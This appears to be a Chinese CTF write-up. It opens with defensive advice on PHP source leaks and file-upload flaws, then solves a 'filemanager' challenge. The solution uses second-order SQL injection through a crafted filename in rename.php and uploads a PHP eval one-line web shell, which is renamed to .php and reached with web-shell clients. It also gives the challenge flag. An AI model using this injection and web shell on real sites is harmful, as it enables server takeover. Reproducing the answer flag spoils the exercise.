文章目录
- 前言
- 1.PHP源码泄露
- 2.PHP文件上传漏洞
- 一、filemanager
- 1.题目
- 2.答题
前言
1.PHP源码泄露
如果PHP源码泄露,那么攻击者可以轻易地查看其中的代码并发现其中的漏洞和安全弱点。这可能导致攻击者能够从中获得敏感信息或者对网站进行攻击。以下是一些可以避免PHP源码泄露的建议:
-
保护PHP源码文件:确保PHP源代码文件存储在一个安全的目录中,并且不能被通过URL访问。最好的方法是将代码文件存储在Web服务器的非公共目录中。
-
禁止目录浏览:在Web服务器上,确保禁止目录浏览功能。这意味着攻击者不能通过URL访问网站上的任何文件和目录。
-
防止PHP错误输出:确保禁用PHP错误输出功能。攻击者可以利用PHP错误消息来了解网站的结构和设置。
-
加密敏感信息:在PHP代码中使用加密和哈希算法来保护敏感信息,例如密码和用户数据。
-
使用防火墙:使用Web应用程序防火墙或其他安全工具来防止攻击者访问网站和PHP源代码文件。
2.PHP文件上传漏洞
PHP文件上传漏洞是指攻击者通过上传恶意文件(如木马、WebShell等)或者篡改上传的文件,从而实施攻击的一种漏洞。以下是一些预防和修复PHP文件上传漏洞的措施:
-
文件类型验证:在上传文件之前,对文件类型进行验证,只接受可信的文件类型并拒绝其他类型。可以利用PHP的mime_content_type()函数或者文件扩展名来进行验证。
-
文件大小限制:限制上传文件的大小,防止上传大型的恶意文件或篡改文件。
-
应用程序安全:确保应用程序本身不受到攻击者的入侵,否则攻击者可能会利用后门的方式上传恶意文件。
-
反病毒软件:在上传文件后,对文件进行反病毒扫描,确保文件不包含病毒。
-
禁止执行:通过在Web服务器上配置,禁止某些文件类型的执行,如PHP文件。这可以防止攻击者通过上传含有恶意代码的PHP文件来攻击网站。
-
改名:上传的文件可以被重命名,防止攻击者使用特定的文件名来触发其他类型的漏洞。
-
安全上传:使用安全的上传方法和工具,如SFTP、SCP或HTTPS等,确保上传过程中数据被加密传输。
-
升级和修补:保持更新版本,及时修补已知的漏洞,有助于提高应用程序的安全性。
一、filemanager
1.题目
2.答题
扫描目录
发现/www.tar.gz,访问网址http://61.147.171.105:49881/www.tar.gz即可将文件下载下来,解压文件,得到如下几个文件。
对文件进行代码审计,发现漏洞在修改文件名的文件(rename.php)中,首先会查询之前上传的文件是否存在,如果返回不为空,则修改成对应的文件名。在修改文件名的过程中,是存在漏洞可以利用的。
具体操作如下:
首先上传一个空的文件,但是文件名一定要是’,extension='.jpg,因为原来的SQL语句不允许修改后缀名,对后缀名进行了限制,使用这个名字是为了是修改的文件后缀名为空,即可修改文件后缀。
我们传入文件名',extension='.jpg
这时候,存入数据库的filename是',extension='
,extension是jpg
进行重命名
文件名修改后,重命名文件的代码也随之改变了。变成了
update `file` set `filename`='shell.jpg',`oldname`='',extension='' where `fid`={$result['fid']}"
修改前的代码为:
update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}
通过对比上面的两条SQL语句发现,此时的文件后缀名已经变为空了,即可对文件的后缀名进行修改。但是文件只能是shell.jpg,这个也是之前必须使用.jpg格式的原因。
现在上传一句话木马,木马的文件名必须和之前修改的文件名(shell.jpg)一致
木马文件的内容为:<?php @eval($_POST['123']) ?>
同名的文件上传以后,即可对文件名进行修改,因为此时已经可以修改该文件的后缀名了,即可将jpg文件修改为PHP文件
修改完成后,即可用中国菜刀,中国蚁剑等工具连接到该服务器
得到flag:flag{bdda3c944a9e484eae50123afeeff56b}
发表评论 取消回复